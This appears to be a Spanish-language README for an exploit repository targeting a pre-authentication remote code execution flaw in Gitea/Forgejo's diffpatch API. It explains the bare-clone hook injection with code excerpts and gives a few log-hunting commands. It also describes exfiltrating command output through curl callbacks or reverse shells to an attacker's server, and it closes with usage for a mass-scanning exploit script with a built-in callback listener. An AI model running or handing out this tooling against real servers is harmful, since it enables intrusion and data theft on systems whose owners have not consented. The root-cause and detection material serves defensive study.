
CVE-2026-60004 — RCE de Git Hook de Diffpatch de Gitea/Forgejo. Clonado desnudo → inyección de hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 es una vulnerabilidad de ejecución remota de código pre-autenticación de severidad crítica (CVSS 9.8) en las plataformas Git autoalojadas Gitea y Forgejo, que afecta a las versiones 1.17 a 1.27.0.
La vulnerabilidad explota una falla de diseño de clon bare en el endpoint de API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea aplica parches suministrados por el usuario dentro de un clon temporal bare — donde la raíz del repositorio es el propio $GIT_DIR. Al enviar el mismo parche malicioso dos veces, un atacante provoca un conflicto add/add que hace que el mecanismo de fusión a tres bandas de Git (-3, Git 2.32+) escriba un hook post-index-change ejecutable directamente en $GIT_DIR/hooks/. Git ejecuta este hook automáticamente durante la actualización del índice, lo que produce ejecución arbitraria de comandos bajo la cuenta de servicio de Gitea.
Se requiere acceso de escritura al repositorio — trivial de obtener, ya que Gitea tiene por defecto registro abierto sin verificación de correo electrónico, aprobación de administrador ni límites de creación de repositorios.
| Versión | Estado |
|---|---|
| < 1.17 | No afectada (la ruta diffpatch aún no se había introducido) |
| 1.17 — 1.27.0 | Vulnerable |
| 1.27.1+ | Parcheada |
Descubierto por: Shai Rod (NightRang3r), 28 de julio de 2026 Proyecto: Gitea / Forgejo (servicio Git autoalojado) Componente: endpoint de API diffpatch, clon temporal bare
La vulnerabilidad se origina en un único parámetro en services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
En un clon bare no hay árbol de trabajo — la raíz del repositorio es $GIT_DIR. Por lo tanto, un parche malicioso cuya ruta de archivo sea hooks/post-index-change termina directamente dentro del directorio real de hooks de Git, no en un árbol de trabajo aislado.
La invocación de git apply agrava esto:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, por lo que la ruta hooks/post-index-change apunta al directorio real de hooks.--cached no es infalible — el mecanismo de respaldo a tres bandas -3 en Git 2.32+ escribe los resultados fusionados en el árbol de trabajo durante conflictos add/add, a pesar de la bandera --cached.post-index-change — después de actualizar el índice, Git ejecuta este hook de forma incondicional si existe y es ejecutable. No se necesita configuración.git update-index dentro del hook provoca un interbloqueo porque git apply mantiene el bloqueo del índice. Use callbacks HTTP (curl) o reverse shells para la exfiltración de la salida.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
| Archivo | Línea(s) | Propósito |
|---|---|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — creación de clon bare |
services/repository/files/patch.go | 206-209 | git apply con banderas --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — persiste el estado del atacante |
services/repository/files/cherry_pick.go | ~170 | El mismo patrón de clon bare en CherryPick (también corregido) |
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
La diferencia entre un clon bare y uno no bare — un único parámetro booleano — determina si una ruta de parche es una entrada inofensiva del árbol de trabajo o un hook ejecutable que aterriza directamente en el directorio interno de Git. La corrección cambia exactamente un carácter en el diff (true → false), razón por la cual el commit fue etiquetado como "refactor: git patch apply" bajo MISC y no bajo SECURITY. La operación que se suponía debía estar aislada al índice (--cached) fue silenciosamente rota por el propio mecanismo de fusión a tres bandas de Git, y ninguna protección adicional impidió que se crearan archivos de hook en el $GIT_DIR del clon bare.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen